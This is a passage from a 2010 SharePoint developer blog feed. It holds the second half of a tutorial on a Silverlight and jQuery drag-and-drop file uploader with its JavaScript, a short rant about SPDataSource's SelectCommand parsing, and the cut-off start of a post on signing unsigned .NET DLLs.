src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_delegatecontrolwizard.png"/&gt;&lt;br /&gt;&lt;br /&gt;In page two of the wizard, simply click Finish.&lt;br /&gt;&lt;br /&gt;You will now have gotten a new Feature, as well as a delegate control. You can go ahead and rename the feature if you'd like.&lt;br /&gt;&lt;br /&gt;At this point your project should look something like the following.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/1878671/Articles/uploader/DeskUpload_solutionexplorer.png"/&gt;&lt;br /&gt;&lt;br /&gt;We're now ready for the JavaScript bits to go into the user control.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 4 - Implementing the JavaScript&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The JavaScript will go inside the "DesktopUploader.acx" user control.&lt;br /&gt;&lt;br /&gt;At the top of the user control, directly below the assembly and control directives (prefixed with "&amp;lt;%@"), there will be a style sheet. The styles are mostly for the progress indicators we show as the files are being uploaded.&lt;br /&gt;&lt;pre class="brush: css;"&gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;    #SLFileDropStatus&lt;br /&gt;    {&lt;br /&gt;        position: absolute;&lt;br /&gt;        z-index: 300;&lt;br /&gt;    }&lt;br /&gt;    .SLFileDropEntry&lt;br /&gt;    {&lt;br /&gt;        white-space: nowrap;&lt;br /&gt;        overflow: hidden;&lt;br /&gt;    }&lt;br /&gt;    .SLFileDropLabel&lt;br /&gt;    {&lt;br /&gt;        font-size: 8pt;&lt;br /&gt;        color: Gray;&lt;br /&gt;        font-family: Verdana, Tahoma, helvetica;&lt;br /&gt;        display: inline-block;&lt;br /&gt;    }&lt;br /&gt;    .SLFileDropProgressBar&lt;br /&gt;    {&lt;br /&gt;        display: block;&lt;br /&gt;        height: 6px;&lt;br /&gt;        width: 100px;&lt;br /&gt;        border: 1px solid gray;&lt;br /&gt;    }&lt;br /&gt;    .SLFileDropProgress&lt;br /&gt;    {&lt;br /&gt;        width: 0px;&lt;br /&gt;        background: gray;&lt;br /&gt;        margin: 1px;&lt;br /&gt;        height: 4px;&lt;br /&gt;    }&lt;br /&gt;    .SLFileDropActive&lt;br /&gt;    {&lt;br /&gt;        border: 2px solid #44aff6;&lt;br /&gt;    }&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/pre&gt;&lt;br /&gt;Following this we'll add a serverside script tag, which will provide us with the server relative url of the current SharePoint site.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;&amp;lt;script runat=&amp;quot;server&amp;quot; language=&amp;quot;C#&amp;quot;&amp;gt;&lt;br /&gt;    private static string ServerRelativeUrl&lt;br /&gt;    {&lt;br /&gt;        get&lt;br /&gt;        {&lt;br /&gt;            string url = SPContext.Current.Web.ServerRelativeUrl;&lt;br /&gt;            return url.EndsWith(&amp;quot;/&amp;quot;) ? url.Substring(0, url.Length - 1) : url;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;Given this server side method, we can be sure to refer to the various resources we need with a site relative url.&lt;br /&gt;&lt;br /&gt;The final pieces to add, before getting to the actual script, are a progress indicator placeholder and two jQuery templates.&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;div id=&amp;quot;SLFileDropStatus&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;script id=&amp;quot;SLTemplate&amp;quot; type=&amp;quot;text/x-jquery-tmpl&amp;quot;&amp;gt;&lt;br /&gt;    &amp;lt;div id=&amp;quot;${id}&amp;quot; style=&amp;quot;${style}&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;object data=&amp;quot;data:application/x-silverlight-2,&amp;quot; type=&amp;quot;application/x-silverlight-2&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;param name=&amp;quot;source&amp;quot; value=&amp;quot;${source}&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;param name=&amp;quot;onError&amp;quot; value=&amp;quot;onSilverlightError&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;param name=&amp;quot;background&amp;quot; value=&amp;quot;white&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;param name=&amp;quot;minRuntimeVersion&amp;quot; value=&amp;quot;4.0.50401.0&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;param name=&amp;quot;autoUpgrade&amp;quot; value=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;a href=&amp;quot;http://go.microsoft.com/fwlink/?LinkID=149156&amp;amp;v=3.0.40624.0&amp;quot; style=&amp;quot;text-decoration:none&amp;quot;&amp;gt;&lt;br /&gt;                &amp;lt;img src=&amp;quot;http://go.microsoft.com/fwlink/?LinkId=108181&amp;quot; alt=&amp;quot;Get Microsoft Silverlight&amp;quot; style=&amp;quot;border-style:none&amp;quot;/&amp;gt;&lt;br /&gt;            &amp;lt;/a&amp;gt;&lt;br /&gt;        &amp;lt;/object&amp;gt;&lt;br /&gt;    &amp;lt;/div&amp;gt;   &lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script id=&amp;quot;SLFileUploadEntryTemplate&amp;quot; type=&amp;quot;text/x-jquery-tmpl&amp;quot;&amp;gt;&lt;br /&gt;    &amp;lt;div SLFileName=&amp;quot;${name}&amp;quot; class=&amp;quot;SLFileDropEntry&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;table cellpadding='0' cellspacing='0'&amp;gt;&lt;br /&gt;            &amp;lt;tr&amp;gt;&lt;br /&gt;                &amp;lt;td&amp;gt;&lt;br /&gt;                    &amp;lt;div class='SLFileDropLabel'&amp;gt;${name}&amp;lt;/div&amp;gt;&lt;br /&gt;                &amp;lt;/td&amp;gt;&lt;br /&gt;                &amp;lt;td width='5px'/&amp;gt;&lt;br /&gt;                &amp;lt;td&amp;gt;&lt;br /&gt;                    &amp;lt;div class='SLFileDropProgressBar'&amp;gt;&lt;br /&gt;                        &amp;lt;div class='SLFileDropProgress'/&amp;gt;&lt;br /&gt;                    &amp;lt;/div&amp;gt;&lt;br /&gt;                &amp;lt;/td&amp;gt;&lt;br /&gt;            &amp;lt;/tr&amp;gt;&lt;br /&gt;        &amp;lt;/table&amp;gt;&lt;br /&gt;    &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;If you aren't familiar with jQuery templates, you can think of them as html code structures, which will have data placeholders in them - such as ${name} and ${source} above - that will be instantiated and filled by jQuery. Given the Silverlight template above, we can easily provision Silverlight apps given an id, a style string and a source url for the xap file, without having to type out the whole html block within our JavaScript.&lt;br /&gt;&lt;br /&gt;Heading to the JavaScript, what it'll be doing is essentially:&lt;ol&gt;&lt;li&gt;Wait for SP.js to be loaded - indicating that most of the page is ready for use, and we can access urls for the document libraries on the page.&lt;br /&gt;&lt;li&gt;Use my open source script loader to load jQuery if its not present, the jQuery template plugin - if that's not there and finally my open source tool library.&lt;br /&gt;&lt;li&gt;Upon all scripts being loaded, define a SLFileDrop class / object, which will hold all the JavaScript drag and drop logic.&lt;br /&gt;&lt;li&gt;Upon jQuery being available: check if there are any document library views on the page, and if so initialize the javascript class.&lt;/ol&gt;&lt;br /&gt;We'll start with laying out the script block for point 1 and 2 above.&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;    grep.core.executeAfterSPLoad(function () {&lt;br /&gt;        grep.scriptloader.load(typeof $, grep.core.getCoreJSUrl() + &amp;quot;jquery.min.js&amp;quot;);&lt;br /&gt;        grep.scriptloader.load(function () { return typeof $ === &amp;quot;undefined&amp;quot; || typeof $.tmpl === &amp;quot;undefined&amp;quot;; },&lt;br /&gt;                               grep.core.getCoreJSUrl() + &amp;quot;jquery.tmpl.min.js&amp;quot;);&lt;br /&gt;        grep.scriptloader.load(typeof grep.tools, grep.core.getCoreJSUrl() + &amp;quot;grep.tools.min.js&amp;quot;);&lt;br /&gt;        grep.scriptloader.exec(function () {&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;Granted that my open source Grep.SharePoint.CoreJS solution (linked on top of this article) has been activated for the site collection, grep.core and grep.scriptloader will be available for use in the script.&lt;br /&gt;&lt;br /&gt;grep.core.executeAfterSPLoad(function) will essentially register a function to be called once SP.js is fully loaded.&lt;br /&gt;&lt;br /&gt;grep.core.getCoreJSUrl() will return the server relative url of the folder where the scripts deployed by my core javascript solution reside.&lt;br /&gt;&lt;br /&gt;grep.scriptloader.load(test, scriptUrl) will run evaluate the parameter passed as "test". It will load the script passed as scriptUrl if:&lt;ul&gt;&lt;li&gt;test is a string (which is the case for e.g.: typeof $) and is equal to "undefined"&lt;br /&gt;&lt;li&gt;if test is a boolean or function, and is equal to true&lt;/ul&gt;&lt;br /&gt;In the case of the above code, jQuery templates will be loaded if either jQuery isn't defined, or jQuery templates isn't defined.&lt;br /&gt;grep.scriptloader.exec(function) will execute the function passed to it, as soon as all the script loads defined prior to the call to exec has completed. In our case, the function will execute when jQuery, jQuery templates and grep.tools are loaded.&lt;br /&gt;&lt;br /&gt;Moving on with the end, we'll add the script block that verifies that jQuery is loaded, that we've got a document library view on the page, and finally initialize the main javascript.&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;// Execute init when jQuery's loaded&lt;br /&gt;$(function () {&lt;br /&gt;    if ($(&amp;quot;table[id^=onetidDoclibViewTbl]&amp;quot;).size() == 0) return;&lt;br /&gt;    window.SLFileDrop.init();&lt;br /&gt;});&lt;/pre&gt;&lt;br /&gt;And finally, here's the main class. It's defined on the window (global) object.&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;window.SLFileDrop = {&lt;br /&gt;    activeDocLib: null,&lt;br /&gt;    dropZone: null,&lt;br /&gt;    statusBox: null,&lt;br /&gt;    leaveTimeoutId: -1,&lt;br /&gt;    init: function () {&lt;br /&gt;        this.statusBox = $(&amp;quot;div#SLFileDropStatus&amp;quot;);&lt;br /&gt;        this.dropZone = ($(&amp;quot;#SLTemplate&amp;quot;)&lt;br /&gt;            .tmpl({&lt;br /&gt;                id: &amp;quot;SLFileDropHelper&amp;quot;,&lt;br /&gt;                source: &amp;quot;&amp;lt;%= ServerRelativeUrl %&amp;gt;/_layouts/Grep.SharePoint.DesktopDrag/SLFileDrop.xap?r=&amp;lt;%= new Random().Next() %&amp;gt;&amp;quot;,&lt;br /&gt;                style: &amp;quot;position: absolute; left: -1px; top: -1px; width: 1px; height: 1px; display: none; z-index: 100000;&amp;quot;&lt;br /&gt;            }))&lt;br /&gt;            .appendTo(&amp;quot;body&amp;quot;);&lt;br /&gt;        var filedrop = this;&lt;br /&gt;        $(&amp;quot;table[id^=onetidDoclibViewTbl]&amp;quot;).closest(&amp;quot;div[id^=WebPartWP]&amp;quot;)&lt;br /&gt;            .bind(&amp;quot;dragenter&amp;quot;, function (e) {&lt;br /&gt;                // Avoid duplicate events&lt;br /&gt;                if (filedrop.isMouseWithinActiveDoclib(e.clientX, e.clientY)) { &lt;br /&gt;                    filedrop.abortDropZoneHideTimer();&lt;br /&gt;                    return;&lt;br /&gt;                }&lt;br /&gt;                if (filedrop.activeDocLib != null) {&lt;br /&gt;                    // Entering another doclib than the currently active&lt;br /&gt;                    filedrop.hideDropZone(true);&lt;br /&gt;                }&lt;br /&gt;                filedrop.activeDocLib = $(this);&lt;br /&gt;                filedrop.activeDocLib.closest(&amp;quot;.s4-wpTopTable&amp;quot;).addClass(&amp;quot;SLFileDropActive&amp;quot;);&lt;br /&gt;                filedrop.showDropZone(e);&lt;br /&gt;                return false;&lt;br /&gt;            });&lt;br /&gt;        this.dropZone.show();&lt;br /&gt;    },&lt;br /&gt;    abortDropZoneHideTimer: function() {&lt;br /&gt;        if (this.leaveTimeoutId != -1) {&lt;br /&gt;            window.clearTimeout(this.leaveTimeoutId);&lt;br /&gt;            this.leaveTimeoutId = -1;&lt;br /&gt;        }&lt;br /&gt;    },&lt;br /&gt;    getFileEntry: function (name) {&lt;br /&gt;        return this.statusBox.find(&amp;quot;div[SLFileName=&amp;quot; + name + &amp;quot;]&amp;quot;);&lt;br /&gt;    },&lt;br /&gt;    getRootUrl: function () {&lt;br /&gt;        if (this.activeDocLib == null) return null;&lt;br /&gt;        var num = this.activeDocLib.find(&amp;quot;div[name=LinkFilename]:first&amp;quot;).attr(&amp;quot;CTXNum&amp;quot;);&lt;br /&gt;        var theCtx = null;&lt;br /&gt;        if (typeof (num) != &amp;quot;undefined&amp;quot;) theCtx = g_ctxDict['ctx' + num];&lt;br /&gt;        var docLibSrc = this.activeDocLib.find(&amp;quot;iframe[id^=FilterIframe]&amp;quot;).attr(&amp;quot;FilterLink&amp;quot;);&lt;br /&gt;        var folderUrl = &amp;quot;&amp;quot;;&lt;br /&gt;        if (typeof (docLibSrc) != &amp;quot;undefined&amp;quot;) folderUrl = unescape(grep.tools.queryString(&amp;quot;RootFolder&amp;quot;, docLibSrc));&lt;br /&gt;        if (folderUrl == &amp;quot;&amp;quot;) {&lt;br /&gt;            if (theCtx == null) throw &amp;quot;Document library context node not found&amp;quot;;&lt;br /&gt;            folderUrl = theCtx.listUrlDir;&lt;br /&gt;        }&lt;br /&gt;        return folderUrl;&lt;br /&gt;    },&lt;br /&gt;    hideDropZone: function () {&lt;br /&gt;        if (this.activeDocLib != null) {&lt;br /&gt;            this.activeDocLib.closest(&amp;quot;.s4-wpTopTable&amp;quot;).removeClass(&amp;quot;SLFileDropActive&amp;quot;);&lt;br /&gt;            this.activeDocLib = null;&lt;br /&gt;        }&lt;br /&gt;        this.dropZone.css({ left: -1, top: -1, width: 1, height: 1 });&lt;br /&gt;    },&lt;br /&gt;    isMouseWithinActiveDoclib: function (mouseX, mouseY) {&lt;br /&gt;        if (this.activeDocLib == null) return false;&lt;br /&gt;        var offset = this.activeDocLib.offset();&lt;br /&gt;        return mouseX &amp;gt;= offset.left &amp;amp;&amp;amp; mouseX &amp;lt; offset.left + this.activeDocLib.outerWidth() &amp;amp;&amp;amp;&lt;br /&gt;               mouseY &amp;gt;= offset.top &amp;amp;&amp;amp; mouseY &amp;lt; offset.top + this.activeDocLib.outerHeight();&lt;br /&gt;    },&lt;br /&gt;    makeFileEntry: function (name) {&lt;br /&gt;        var entry = this.getFileEntry(name);&lt;br /&gt;        if (entry.size() != 0) return entry;&lt;br /&gt;        $(&amp;quot;#SLFileUploadEntryTemplate&amp;quot;)&lt;br /&gt;            .tmpl({ name: name })&lt;br /&gt;            .appendTo(this.statusBox);&lt;br /&gt;        return entry;&lt;br /&gt;    },&lt;br /&gt;    removeFileEntry: function (name) {&lt;br /&gt;        this.getFileEntry(name).remove();&lt;br /&gt;    },&lt;br /&gt;    onAllUploadsComplete: function () {&lt;br /&gt;        this.statusBox.hide();&lt;br /&gt;        $(document.body).unbind(&amp;quot;mousemove.SLFileDrop&amp;quot;);&lt;br /&gt;        _SubmitFormPost(_CorrectUrlForRefreshPageSubmitForm(), false, true);&lt;br /&gt;    },&lt;br /&gt;    onDragEntersDropZone: function () {&lt;br /&gt;        this.abortDropZoneHideTimer();&lt;br /&gt;    },&lt;br /&gt;    onDragLeavesDropZone: function () {&lt;br /&gt;        var filedrop = this;&lt;br /&gt;        this.leaveTimeoutId = window.setTimeout(function() {  &lt;br /&gt;            filedrop.hideDropZone();&lt;br /&gt;        }, 200);&lt;br /&gt;    },&lt;br /&gt;    onDrop: function () {&lt;br /&gt;        var filedrop = this;&lt;br /&gt;        $(document.body).bind(&amp;quot;mousemove.SLFileDrop&amp;quot;, function (e) {&lt;br /&gt;            filedrop.statusBox.css({ left: e.clientX + 10, top: e.clientY + 10 })&lt;br /&gt;        });&lt;br /&gt;        this.statusBox.show();&lt;br /&gt;        this.hideDropZone();&lt;br /&gt;    },&lt;br /&gt;    onUploadComplete: function (name) {&lt;br /&gt;        this.removeFileEntry(name);&lt;br /&gt;    },&lt;br /&gt;    onUploadProgress: function (name, sentBytes, totalBytes, fileNum, totalFiles) {&lt;br /&gt;        try {&lt;br /&gt;            this.setFileEntryProgress(name, sentBytes / totalBytes * 100);&lt;br /&gt;        }&lt;br /&gt;        catch (e) { &lt;br /&gt;        }&lt;br /&gt;    },&lt;br /&gt;    onUploadStart: function (name) {&lt;br /&gt;        this.makeFileEntry(name);&lt;br /&gt;    },&lt;br /&gt;    setFileEntryProgress: function (name, pct)&lt;br /&gt;    {&lt;br /&gt;        this.getFileEntry(name).find(&amp;quot;.SLFileDropProgress&amp;quot;).css(&amp;quot;width&amp;quot;, pct + &amp;quot;%&amp;quot;);&lt;br /&gt;    },&lt;br /&gt;    showDropZone: function (e) {&lt;br /&gt;        var docLibOffset = this.activeDocLib.offset();&lt;br /&gt;        this.dropZone.show();&lt;br /&gt;        var filedrop = this;&lt;br /&gt;        setTimeout(function() { &lt;br /&gt;            filedrop.dropZone.css({&lt;br /&gt;                left: docLibOffset.left,&lt;br /&gt;                top: docLibOffset.top,&lt;br /&gt;                width: filedrop.activeDocLib.outerWidth(),&lt;br /&gt;                height: filedrop.activeDocLib.outerHeight()&lt;br /&gt;            });&lt;br /&gt;        }, 5);&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;The init method is the first method called, and it will setup a reference to the progress indicator placeholder, and provision a Silverlight box (using jQuery templates) to the end of the body tag. Finally it will hook onto dragenter events for all document library views.&lt;br /&gt;&lt;br /&gt;The hooks into dragenter for doclibs is the most important piece here. What it'll do is, upon having files dragged over a document library, resize the Silverlight file catcher / uploader to the size of the document library view, and place it on top of the document library view. This will allow us to receive drop events meant for different document library views present on the same page.&lt;br /&gt;&lt;br /&gt;The next point of interest is the getRootUrl. This method is called from the Silverlight app, and requests the server relative url of the current document library folder. It works by finding the context object number of the currently hovered document library view (captured by the dragenter event described above), and then looking up FilterLink for the document library view's FilterIframe. If present, this FilterLink will contain a RootFolder in the query string. If no such RootFolder is found, we take the listUrlDir from the document library view's context object instead.&lt;br /&gt;&lt;br /&gt;The last piece worth noting in this JavaScript is the progress indicators. When a new upload is started, indicated by onDrop being called, we bind to the body's mousemove event, and show the progress indicator placeholder. This placeholder will be moved along with the mouse, while there are files still uploading. The onUploadStart method will be called one time for each file to be uploaded, and this method will go on to add a new entry (using jQuery templates) in the placeholder. Each of the file entries in the progress placeholder will get a special attribute set to the name of the file, so when progress and completion notifications arrive, we can call our getFileEntry method with the filename, and retrieve a html element on which we can either update the progress, or remove - in case of a finish event.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 5 - Deploying the solution&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When you've got the JavaScript in place, and you've activated the Grep.SharePoint.CoreJS feature on your development site collection, you can go ahead and build and deploy the Visual Studio solution. &lt;br /&gt;&lt;br /&gt;Well within a document library, or on a page with document library views, you should now be able to drag files from the desktop onto the document library. As the mouse moves onto a document library view, the Silverlight application should become visible. Upon dropping the files there, the progress indicators should become visible and follow the mouse as you move that around. When all files are uploaded, the page should refresh.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Points of improvements&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;There's plenty of room for improvement here, especially visually. Progress indicators could be moved into the Silverlight application, or rendered differently by the JavaScript. Similarly, the user should be redirected to a page for document annotation once the upload has completed, if the upload was made against a document library which requires certain meta data fields for new documents.&lt;br /&gt;&lt;br /&gt;Other than that, the solution should work pretty well, and at least serve as a general introduction to mixing various often mentioned technologies (SharePoint, jQuery, jQuery Templates, Silverlight, Rx, CKS Dev and so forth) into one merry solution.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Resources&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/1878671/SharePoint/DesktopUploader.zip"&gt;Example Project Source Code&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/1WJPfAemcsU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8113857853486613958/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8113857853486613958" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8113857853486613958?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8113857853486613958?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/1WJPfAemcsU/building-silverlight-jquery-powered.html" title="Building a Silverlight &amp; jQuery powered drag'n'drop-from-desktop uploader for SharePoint 2010" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/12/building-silverlight-jquery-powered.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFRXs8eip7ImA9Wx9XEUs.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-3978904397099644763</id><published>2010-12-06T18:54:00.008+01:00</published><updated>2011-01-04T18:18:34.572+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-04T18:18:34.572+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="best practices" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="worst practices" /><title>SPDataSource is what's wrong with this industry</title><content type="html">The title for this rant of a post could also easily have been: &lt;span style="font-weight:bold;"&gt;If you stick to XML for configuration, you better parse it as XML.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I spent quite a bit of time today, trying to figure out why an &lt;span style="font-style:italic;"&gt;SPDataSource&lt;/span&gt; of mine wouldn't return any rows for a &lt;span style="font-style:italic;"&gt;SiteCollection&lt;/span&gt; scoped query against specific lists. It all worked (seemingly) perfectly when I left out the list id specification:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;dataSource.SelectCommand = "&amp;lt;Webs Scope='SiteCollection'/&amp;gt;&amp;lt;View&amp;gt;&amp;lt;ViewFields&amp;gt;&amp;lt;FieldRef Name='Title' Type='Text' /&amp;gt;&amp;lt;/ViewFields&amp;gt;&amp;lt;/View&amp;gt;";&lt;/pre&gt;&lt;br /&gt;But as soon as the list id specifications were in place, it all failed miserably. Yielding nothing but "There are no items to show in this view" in the &lt;span style="font-style:italic;"&gt;SPGridView&lt;/span&gt; I bound the data source to.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;dataSource.SelectCommand = "&amp;lt;Webs Scope='SiteCollection'/&amp;gt;&amp;lt;Lists&amp;gt;&amp;lt;List ID='97B278EC-6AC1-4357-A1D1-3422D314AF11'/&amp;gt;&amp;lt;/Lists&amp;gt;&amp;lt;View&amp;gt;&amp;lt;ViewFields&amp;gt;&amp;lt;FieldRef Name='Title' Type='Text' /&amp;gt;&amp;lt;/ViewFields&amp;gt;&amp;lt;/View&amp;gt;";&lt;/pre&gt;&lt;br /&gt;Digging high and low for a schema for the &lt;span style="font-style:italic;"&gt;SelectCommand&lt;/span&gt; property - which seemed to set itself slightly apart from the familiar &lt;span style="font-style:italic;"&gt;SPSiteDataQuery&lt;/span&gt; - I found nothing. 'Nothing' is also what I found when searching for others with similar problems. Next to it, at any rate: It seems that many have observed unpredictable results, depending on which tags they entered, and what numbers (if any) were passed as rowlimit. None of them, however, were related to the list id specification. The closest I came was one commenter who noted that &lt;span style="font-style:italic;"&gt;SPDataSource&lt;/span&gt; came up blank, so he turned to &lt;span style="font-style:italic;"&gt;SPSiteDataQuery&lt;/span&gt; and &lt;span style="font-style:italic;"&gt;ObjectDataSource&lt;/span&gt; instead.&lt;br /&gt;&lt;br /&gt;At this point, I turned to my only reliable source of information in dealing with SharePoint: &lt;span style="font-weight:bold;"&gt;Reflector&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Reading through the reflected source of &lt;span style="font-style:italic;"&gt;SPDataSourceView&lt;/span&gt;'s &lt;span style="font-style:italic;"&gt;GetQueryAndFieldStringFromSelectCommand&lt;/span&gt; method, the problem quickly became apparent: &lt;span style="font-weight:bold;"&gt;SelectCommand isn't actually parsed as XML!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Long story short, the bits and pieces from &lt;span style="font-style:italic;"&gt;SelectCommand&lt;/span&gt; that are eventually passed to &lt;span style="font-style:italic;"&gt;SPSiteDataQuery&lt;/span&gt;, are actually extracted with string searches for "&amp;lt;TagName&amp;gt;" and "&amp;lt;/TagName&amp;gt;". The consequence is:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;None of the section marker tags (ViewFields, Webs, Lists) can be defined using self-closing syntax: &amp;lt;Lists /&amp;gt;. Doing so will break the string searches.&lt;br /&gt;&lt;li&gt;&amp;lt;View&amp;gt;, as often specified in &lt;span style="font-style:italic;"&gt;SelectCommand&lt;/span&gt;, can be dropped entirely. It's never used by &lt;span style="font-style:italic;"&gt;SPDataSource&lt;/span&gt;.&lt;/ul&gt;So this is my friendly reminder to the SharePoint team: If you decide to stick with XML (even if you decide to call your dialect 'CAML') as a driving markup language in your application: Be sure to process it as such.&lt;br /&gt;&lt;br /&gt;Finally: I can't for the life of me figure out why &lt;span style="font-style:italic;"&gt;SPDataSource&lt;/span&gt; uses a single &lt;span style="font-style:italic;"&gt;SelectCommand&lt;/span&gt; property, rather than sticking with the different properties from &lt;span style="font-style:italic;"&gt;SPSiteDataQuery&lt;/span&gt;. It brings &lt;span style="font-weight:bold;"&gt;nothing&lt;/span&gt; but overhead. And trust me: there's enough overhead as it is.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/GkxYgDMLCn8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/3978904397099644763/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=3978904397099644763" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/3978904397099644763?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/3978904397099644763?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/GkxYgDMLCn8/spdatasource-is-whats-wrong-with-this.html" title="SPDataSource is what's wrong with this industry" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/12/spdatasource-is-whats-wrong-with-this.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFR3k7fip7ImA9Wx9SEUw.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-6831158063559231956</id><published>2010-11-30T08:03:00.011+01:00</published><updated>2010-11-30T11:05:16.706+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-30T11:05:16.706+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="ilasm" /><category scheme="http://www.blogger.com/atom/ns#" term="il" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="disassembly" /><category scheme="http://www.blogger.com/atom/ns#" term="PowerShell" /><category scheme="http://www.blogger.com/atom/ns#" term="ildasm" /><title>Automated signing of unsigned .NET dlls, and updating references between them</title><content type="html">SharePoint is one of many beasts I spend a great deal of time tackling. In this particular case I found myself building a Proof-of-Concept webpart, meant for deployment into SP, around an unsigned API.&lt;br /&gt;&lt;br /&gt;Being built on .NET, SharePoint will either require you to deploy dlls into the web application's bin folder - in which case the dlls can be unsigned - or into the global assembly cache. Deploying to the GAC (obviously) requires signed dlls.&lt;br /&gt;&lt;br /&gt;Given my set of dlls - 50 of them actually - a couple signed, but most not; my only option would be to deploy them to the application's bin folder. The trouble with this approach, however, is two-fold.&lt;br /&gt;&lt;br /&gt;First of all, deploying to the bin folder leaves you in the hand of the .NET CAS (code access security) policies. Granted the default trust settings in SharePoint, the dlls deployed would have very little access to the various system classes, file system and network. The way around this is to define a looser trust model all around - which will defeat the purpose of CAS policies in the first place, or add specific trust levels for all the assemblies. Figuring out the specific policies required for each of the 50 dlls isn't something I'd want to do for a in-development Proof-of-Concept.&lt;br /&gt;&lt;br /&gt;The second issue with bin folder deployment, is the fact that even though you'll be able to deploy all the unsigned dlls there, you couldn't reference any of them from the signed dll which holds the SharePoint webpart. The way around that is to dynamically load each required dll with reflection. That, however, would leave you without a single symbol to use directly. All calls would have to be made through reflection. One could construct a signed bootstrapper assembly, which dynamically loades an unsigned dll of your own, that deals with the 